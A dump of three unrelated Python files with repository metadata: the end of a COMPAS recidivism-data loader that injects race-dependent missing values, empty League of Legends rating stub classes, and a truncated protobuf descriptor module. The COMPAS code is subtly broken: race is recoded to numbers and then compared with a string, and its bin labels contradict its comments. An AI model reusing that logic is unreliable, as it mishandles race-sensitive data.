df.loc[~df['race'].isin( ['Native American', 'Hispanic', 'Asian', 'Other']), :] # Restrict the features to use dfcutQ = dfcut[['sex', 'race', 'age_cat', 'c_charge_degree', 'score_text', 'priors_count', 'is_recid', 'two_year_recid', 'length_of_stay']].copy() # Quantize priors count between 0, 1-3, and >3 def quantizePrior(x): if x == 0: return '0' elif x == 1: return '1 to 3' elif x == 2: return 'More than 3' else: return 'missing' # Quantize length of stay def quantizeLOS(x): if x == 0: return '<week' if x == 1: return '<3months' else: return '>3 months' # Quantize length of stay def adjustAge(x): if x == 1: return '25 to 45' elif x == 2: return 'Greater than 45' elif x == 0: return 'Less than 25' # Quantize score_text to MediumHigh def quantizeScore(x): if x == 1: return 'MediumHigh' else: return 'Low' def group_race(x): if x == "Caucasian": return 1.0 else: return 0.0 dfcutQ['priors_count'] = dfcutQ['priors_count'].apply( lambda x: quantizePrior(x)) dfcutQ['length_of_stay'] = dfcutQ['length_of_stay'].apply( lambda x: quantizeLOS(x)) dfcutQ['score_text'] = dfcutQ['score_text'].apply( lambda x: quantizeScore(x)) dfcutQ['age_cat'] = dfcutQ['age_cat'].apply(lambda x: adjustAge(x)) # Recode sex and race dfcutQ['sex'] = dfcutQ['sex'].replace({'Female': 1.0, 'Male': 0.0}) dfcutQ['race'] = dfcutQ['race'].apply(lambda x: group_race(x)) features = ['two_year_recid', 'race', 'age_cat', 'priors_count', 'c_charge_degree', 'score_text'] # Pass vallue to df df = dfcutQ[features] df['mis_prob'] = 0 for index, row in df.iterrows(): if row['race'] != 'African-American' and row['two_year_recid']==0: df.loc[index, 'mis_prob'] = 0.3 elif row['race'] != 'African-American': df.loc[index, 'mis_prob'] = 0.1 else: df.loc[index, 'mis_prob'] = 0.05 new_label = [] for index, row in df.iterrows(): if np.random.binomial(1, float(row['mis_prob']), 1)[0] == 1: new_label.append('missing') else: new_label.append(row['priors_count']) df['priors_count'] = new_label return df XD_features = [ 'age_cat', 'c_charge_degree', 'priors_count', 'race', 'score_text'] D_features = [ 'race'] if protected_attributes is None else protected_attributes Y_features = ['two_year_recid'] X_features = list(set(XD_features) - set(D_features)) categorical_features = [ 'age_cat', 'priors_count', 'c_charge_degree', 'score_text'] # privileged classes all_privileged_classes = {"sex": [1.0], "race": [1.0]} # protected attribute maps all_protected_attribute_maps = { "sex": { 0.0: 'Male', 1.0: 'Female'}, "race": { 1.0: 'Caucasian', 0.0: 'Not Caucasian'}} return CompasDataset_test( label_name=Y_features[0], favorable_classes=[0], protected_attribute_names=D_features, privileged_classes=[all_privileged_classes[x] for x in D_features], instance_weights_name=None, categorical_features=categorical_features, features_to_keep=X_features + Y_features + D_features, na_values=[], metadata={'label_maps': [{1.0: 'Did recid.', 0.0: 'No recid.'}], 'protected_attribute_maps': [all_protected_attribute_maps[x] for x in D_features]}, custom_preprocessing=custom_preprocessing)
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cec85725b51c39f0e02e3adaa7d333b95766f6c6
6,545
py
Python
loldib/getratings/models/NA/na_draven/na_draven_sup.py
koliupy/loldib
c9ab94deb07213cdc42b5a7c26467cdafaf81b7f
[ "Apache-2.0" ]
null
null
null
loldib/getratings/models/NA/na_draven/na_draven_sup.py
koliupy/loldib
c9ab94deb07213cdc42b5a7c26467cdafaf81b7f
[ "Apache-2.0" ]
null
null
null
loldib/getratings/models/NA/na_draven/na_draven_sup.py
koliupy/loldib
c9ab94deb07213cdc42b5a7c26467cdafaf81b7f
[ "Apache-2.0" ]
null
null
null
from getratings.models.ratings import Ratings class NA_Draven_Sup_Aatrox(Ratings): pass class NA_Draven_Sup_Ahri(Ratings): pass class NA_Draven_Sup_Akali(Ratings): pass class NA_Draven_Sup_Alistar(Ratings): pass class NA_Draven_Sup_Amumu(Ratings): pass class NA_Draven_Sup_Anivia(Ratings): pass class NA_Draven_Sup_Annie(Ratings): pass class NA_Draven_Sup_Ashe(Ratings): pass class NA_Draven_Sup_AurelionSol(Ratings): pass class NA_Draven_Sup_Azir(Ratings): pass class NA_Draven_Sup_Bard(Ratings): pass class NA_Draven_Sup_Blitzcrank(Ratings): pass class NA_Draven_Sup_Brand(Ratings): pass class NA_Draven_Sup_Braum(Ratings): pass class NA_Draven_Sup_Caitlyn(Ratings): pass class NA_Draven_Sup_Camille(Ratings): pass class NA_Draven_Sup_Cassiopeia(Ratings): pass class NA_Draven_Sup_Chogath(Ratings): pass class NA_Draven_Sup_Corki(Ratings): pass class NA_Draven_Sup_Darius(Ratings): pass class NA_Draven_Sup_Diana(Ratings): pass class NA_Draven_Sup_Draven(Ratings): pass class NA_Draven_Sup_DrMundo(Ratings): pass class NA_Draven_Sup_Ekko(Ratings): pass class NA_Draven_Sup_Elise(Ratings): pass class NA_Draven_Sup_Evelynn(Ratings): pass class NA_Draven_Sup_Ezreal(Ratings): pass class NA_Draven_Sup_Fiddlesticks(Ratings): pass class NA_Draven_Sup_Fiora(Ratings): pass class NA_Draven_Sup_Fizz(Ratings): pass class NA_Draven_Sup_Galio(Ratings): pass class NA_Draven_Sup_Gangplank(Ratings): pass class NA_Draven_Sup_Garen(Ratings): pass class NA_Draven_Sup_Gnar(Ratings): pass class NA_Draven_Sup_Gragas(Ratings): pass class NA_Draven_Sup_Graves(Ratings): pass class NA_Draven_Sup_Hecarim(Ratings): pass class NA_Draven_Sup_Heimerdinger(Ratings): pass class NA_Draven_Sup_Illaoi(Ratings): pass class NA_Draven_Sup_Irelia(Ratings): pass class NA_Draven_Sup_Ivern(Ratings): pass class NA_Draven_Sup_Janna(Ratings): pass class NA_Draven_Sup_JarvanIV(Ratings): pass class NA_Draven_Sup_Jax(Ratings): pass class NA_Draven_Sup_Jayce(Ratings): pass class NA_Draven_Sup_Jhin(Ratings): pass class NA_Draven_Sup_Jinx(Ratings): pass class NA_Draven_Sup_Kalista(Ratings): pass class NA_Draven_Sup_Karma(Ratings): pass class NA_Draven_Sup_Karthus(Ratings): pass class NA_Draven_Sup_Kassadin(Ratings): pass class NA_Draven_Sup_Katarina(Ratings): pass class NA_Draven_Sup_Kayle(Ratings): pass class NA_Draven_Sup_Kayn(Ratings): pass class NA_Draven_Sup_Kennen(Ratings): pass class NA_Draven_Sup_Khazix(Ratings): pass class NA_Draven_Sup_Kindred(Ratings): pass class NA_Draven_Sup_Kled(Ratings): pass class NA_Draven_Sup_KogMaw(Ratings): pass class NA_Draven_Sup_Leblanc(Ratings): pass class NA_Draven_Sup_LeeSin(Ratings): pass class NA_Draven_Sup_Leona(Ratings): pass class NA_Draven_Sup_Lissandra(Ratings): pass class NA_Draven_Sup_Lucian(Ratings): pass class NA_Draven_Sup_Lulu(Ratings): pass class NA_Draven_Sup_Lux(Ratings): pass class NA_Draven_Sup_Malphite(Ratings): pass class NA_Draven_Sup_Malzahar(Ratings): pass class NA_Draven_Sup_Maokai(Ratings): pass class NA_Draven_Sup_MasterYi(Ratings): pass class NA_Draven_Sup_MissFortune(Ratings): pass class NA_Draven_Sup_MonkeyKing(Ratings): pass class NA_Draven_Sup_Mordekaiser(Ratings): pass class NA_Draven_Sup_Morgana(Ratings): pass class NA_Draven_Sup_Nami(Ratings): pass class NA_Draven_Sup_Nasus(Ratings): pass class NA_Draven_Sup_Nautilus(Ratings): pass class NA_Draven_Sup_Nidalee(Ratings): pass class NA_Draven_Sup_Nocturne(Ratings): pass class NA_Draven_Sup_Nunu(Ratings): pass class NA_Draven_Sup_Olaf(Ratings): pass class NA_Draven_Sup_Orianna(Ratings): pass class NA_Draven_Sup_Ornn(Ratings): pass class NA_Draven_Sup_Pantheon(Ratings): pass class NA_Draven_Sup_Poppy(Ratings): pass class NA_Draven_Sup_Quinn(Ratings): pass class NA_Draven_Sup_Rakan(Ratings): pass class NA_Draven_Sup_Rammus(Ratings): pass class NA_Draven_Sup_RekSai(Ratings): pass class NA_Draven_Sup_Renekton(Ratings): pass class NA_Draven_Sup_Rengar(Ratings): pass class NA_Draven_Sup_Riven(Ratings): pass class NA_Draven_Sup_Rumble(Ratings): pass class NA_Draven_Sup_Ryze(Ratings): pass class NA_Draven_Sup_Sejuani(Ratings): pass class NA_Draven_Sup_Shaco(Ratings): pass class NA_Draven_Sup_Shen(Ratings): pass class NA_Draven_Sup_Shyvana(Ratings): pass class NA_Draven_Sup_Singed(Ratings): pass class NA_Draven_Sup_Sion(Ratings): pass class NA_Draven_Sup_Sivir(Ratings): pass class NA_Draven_Sup_Skarner(Ratings): pass class NA_Draven_Sup_Sona(Ratings): pass class NA_Draven_Sup_Soraka(Ratings): pass class NA_Draven_Sup_Swain(Ratings): pass class NA_Draven_Sup_Syndra(Ratings): pass class NA_Draven_Sup_TahmKench(Ratings): pass class NA_Draven_Sup_Taliyah(Ratings): pass class NA_Draven_Sup_Talon(Ratings): pass class NA_Draven_Sup_Taric(Ratings): pass class NA_Draven_Sup_Teemo(Ratings): pass class NA_Draven_Sup_Thresh(Ratings): pass class NA_Draven_Sup_Tristana(Ratings): pass class NA_Draven_Sup_Trundle(Ratings): pass class NA_Draven_Sup_Tryndamere(Ratings): pass class NA_Draven_Sup_TwistedFate(Ratings): pass class NA_Draven_Sup_Twitch(Ratings): pass class NA_Draven_Sup_Udyr(Ratings): pass class NA_Draven_Sup_Urgot(Ratings): pass class NA_Draven_Sup_Varus(Ratings): pass class NA_Draven_Sup_Vayne(Ratings): pass class NA_Draven_Sup_Veigar(Ratings): pass class NA_Draven_Sup_Velkoz(Ratings): pass class NA_Draven_Sup_Vi(Ratings): pass class NA_Draven_Sup_Viktor(Ratings): pass class NA_Draven_Sup_Vladimir(Ratings): pass class NA_Draven_Sup_Volibear(Ratings): pass class NA_Draven_Sup_Warwick(Ratings): pass class NA_Draven_Sup_Xayah(Ratings): pass class NA_Draven_Sup_Xerath(Ratings): pass class NA_Draven_Sup_XinZhao(Ratings): pass class NA_Draven_Sup_Yasuo(Ratings): pass class NA_Draven_Sup_Yorick(Ratings): pass class NA_Draven_Sup_Zac(Ratings): pass class NA_Draven_Sup_Zed(Ratings): pass class NA_Draven_Sup_Ziggs(Ratings): pass class NA_Draven_Sup_Zilean(Ratings): pass class NA_Draven_Sup_Zyra(Ratings): pass
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8
0c8f929d737e1e8e3a837b837e215df8c9a40961
43,557
py
Python
venv/lib/python3.8/site-packages/spaceone/api/power_scheduler/v1/controller_pb2.py
choonho/plugin-prometheus-mon-webhook
afa7d65d12715fd0480fb4f92a9c62da2d6128e0
[ "Apache-2.0" ]
null
null
null
venv/lib/python3.8/site-packages/spaceone/api/power_scheduler/v1/controller_pb2.py
choonho/plugin-prometheus-mon-webhook
afa7d65d12715fd0480fb4f92a9c62da2d6128e0
[ "Apache-2.0" ]
null
null
null
venv/lib/python3.8/site-packages/spaceone/api/power_scheduler/v1/controller_pb2.py
choonho/plugin-prometheus-mon-webhook
afa7d65d12715fd0480fb4f92a9c62da2d6128e0
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- # Generated by the protocol buffer compiler. DO NOT EDIT! # source: spaceone/api/power_scheduler/v1/controller.proto """Generated protocol buffer code.""" from google.protobuf import descriptor as _descriptor from google.protobuf import message as _message from google.protobuf import reflection as _reflection from google.protobuf import symbol_database as _symbol_database # @@protoc_insertion_point(imports) _sym_db = _symbol_database.Default() from google.protobuf import empty_pb2 as google_dot_protobuf_dot_empty__pb2 from google.protobuf import struct_pb2 as google_dot_protobuf_dot_struct__pb2 from google.api import annotations_pb2 as google_dot_api_dot_annotations__pb2 from spaceone.api.core.v1 import query_pb2 as spaceone_dot_api_dot_core_dot_v1_dot_query__pb2 DESCRIPTOR = _descriptor.FileDescriptor( name='spaceone/api/power_scheduler/v1/controller.proto', package='spaceone.api.power_scheduler.v1', syntax='proto3', serialized_options=None, create_key=_descriptor._internal_create_key, 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, dependencies=[google_dot_protobuf_dot_empty__pb2.DESCRIPTOR,google_dot_protobuf_dot_struct__pb2.DESCRIPTOR,google_dot_api_dot_annotations__pb2.DESCRIPTOR,spaceone_dot_api_dot_core_dot_v1_dot_query__pb2.DESCRIPTOR,]) _PLUGININFO = _descriptor.Descriptor( name='PluginInfo', full_name='spaceone.api.power_scheduler.v1.PluginInfo', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='plugin_id', full_name='spaceone.api.power_scheduler.v1.PluginInfo.plugin_id', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='version', full_name='spaceone.api.power_scheduler.v1.PluginInfo.version', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='options', full_name='spaceone.api.power_scheduler.v1.PluginInfo.options', index=2, number=3, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='provider', full_name='spaceone.api.power_scheduler.v1.PluginInfo.provider', index=3, number=4, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='metadata', full_name='spaceone.api.power_scheduler.v1.PluginInfo.metadata', index=4, number=10, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=209, serialized_end=360, ) _CREATECONTROLLERREQUEST = _descriptor.Descriptor( name='CreateControllerRequest', full_name='spaceone.api.power_scheduler.v1.CreateControllerRequest', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='name', full_name='spaceone.api.power_scheduler.v1.CreateControllerRequest.name', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='plugin_info', full_name='spaceone.api.power_scheduler.v1.CreateControllerRequest.plugin_info', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='tags', full_name='spaceone.api.power_scheduler.v1.CreateControllerRequest.tags', index=2, number=11, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='domain_id', full_name='spaceone.api.power_scheduler.v1.CreateControllerRequest.domain_id', index=3, number=22, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=363, serialized_end=526, ) _UPDATECONTROLLERREQUEST = _descriptor.Descriptor( name='UpdateControllerRequest', full_name='spaceone.api.power_scheduler.v1.UpdateControllerRequest', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='controller_id', full_name='spaceone.api.power_scheduler.v1.UpdateControllerRequest.controller_id', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='name', full_name='spaceone.api.power_scheduler.v1.UpdateControllerRequest.name', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='plugin_info', full_name='spaceone.api.power_scheduler.v1.UpdateControllerRequest.plugin_info', index=2, number=3, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='tags', full_name='spaceone.api.power_scheduler.v1.UpdateControllerRequest.tags', index=3, number=11, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='domain_id', full_name='spaceone.api.power_scheduler.v1.UpdateControllerRequest.domain_id', index=4, number=22, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=529, serialized_end=715, ) _CONTROLLERREQUEST = _descriptor.Descriptor( name='ControllerRequest', full_name='spaceone.api.power_scheduler.v1.ControllerRequest', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='controller_id', full_name='spaceone.api.power_scheduler.v1.ControllerRequest.controller_id', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='domain_id', full_name='spaceone.api.power_scheduler.v1.ControllerRequest.domain_id', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=717, serialized_end=778, ) _GETCONTROLLERREQUEST = _descriptor.Descriptor( name='GetControllerRequest', full_name='spaceone.api.power_scheduler.v1.GetControllerRequest', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='controller_id', full_name='spaceone.api.power_scheduler.v1.GetControllerRequest.controller_id', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='domain_id', full_name='spaceone.api.power_scheduler.v1.GetControllerRequest.domain_id', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='only', full_name='spaceone.api.power_scheduler.v1.GetControllerRequest.only', index=2, number=3, type=9, cpp_type=9, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=780, serialized_end=858, ) _CONTROLLERQUERY = _descriptor.Descriptor( name='ControllerQuery', full_name='spaceone.api.power_scheduler.v1.ControllerQuery', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='query', full_name='spaceone.api.power_scheduler.v1.ControllerQuery.query', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='controller_id', full_name='spaceone.api.power_scheduler.v1.ControllerQuery.controller_id', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='name', full_name='spaceone.api.power_scheduler.v1.ControllerQuery.name', index=2, number=3, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='domain_id', full_name='spaceone.api.power_scheduler.v1.ControllerQuery.domain_id', index=3, number=4, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=860, serialized_end=977, ) _CONTROLLERINFO = _descriptor.Descriptor( name='ControllerInfo', full_name='spaceone.api.power_scheduler.v1.ControllerInfo', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='controller_id', full_name='spaceone.api.power_scheduler.v1.ControllerInfo.controller_id', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='name', full_name='spaceone.api.power_scheduler.v1.ControllerInfo.name', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='provider', full_name='spaceone.api.power_scheduler.v1.ControllerInfo.provider', index=2, number=3, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='capability', full_name='spaceone.api.power_scheduler.v1.ControllerInfo.capability', index=3, number=4, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='plugin_info', full_name='spaceone.api.power_scheduler.v1.ControllerInfo.plugin_info', index=4, number=5, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='tags', full_name='spaceone.api.power_scheduler.v1.ControllerInfo.tags', index=5, number=6, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='created_at', full_name='spaceone.api.power_scheduler.v1.ControllerInfo.created_at', index=6, number=7, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='domain_id', full_name='spaceone.api.power_scheduler.v1.ControllerInfo.domain_id', index=7, number=10, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=980, serialized_end=1240, ) _CONTROLLERSINFO = _descriptor.Descriptor( name='ControllersInfo', full_name='spaceone.api.power_scheduler.v1.ControllersInfo', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='results', full_name='spaceone.api.power_scheduler.v1.ControllersInfo.results', index=0, number=1, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='total_count', full_name='spaceone.api.power_scheduler.v1.ControllersInfo.total_count', index=1, number=2, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=1242, serialized_end=1346, ) _CONTROLLERSTATQUERY = _descriptor.Descriptor( name='ControllerStatQuery', full_name='spaceone.api.power_scheduler.v1.ControllerStatQuery', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='query', full_name='spaceone.api.power_scheduler.v1.ControllerStatQuery.query', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='domain_id', full_name='spaceone.api.power_scheduler.v1.ControllerStatQuery.domain_id', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=1348, serialized_end=1442, ) _CONTROLREQUEST = _descriptor.Descriptor( name='ControlRequest', full_name='spaceone.api.power_scheduler.v1.ControlRequest', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='controller_id', full_name='spaceone.api.power_scheduler.v1.ControlRequest.controller_id', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='filter', full_name='spaceone.api.power_scheduler.v1.ControlRequest.filter', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='secret_id', full_name='spaceone.api.power_scheduler.v1.ControlRequest.secret_id', index=2, number=3, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='domain_id', full_name='spaceone.api.power_scheduler.v1.ControlRequest.domain_id', index=3, number=4, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='use_cache', full_name='spaceone.api.power_scheduler.v1.ControlRequest.use_cache', index=4, number=5, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=1445, serialized_end=1582, ) _UPDATEPLUGINREQUEST = _descriptor.Descriptor( name='UpdatePluginRequest', full_name='spaceone.api.power_scheduler.v1.UpdatePluginRequest', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='controller_id', 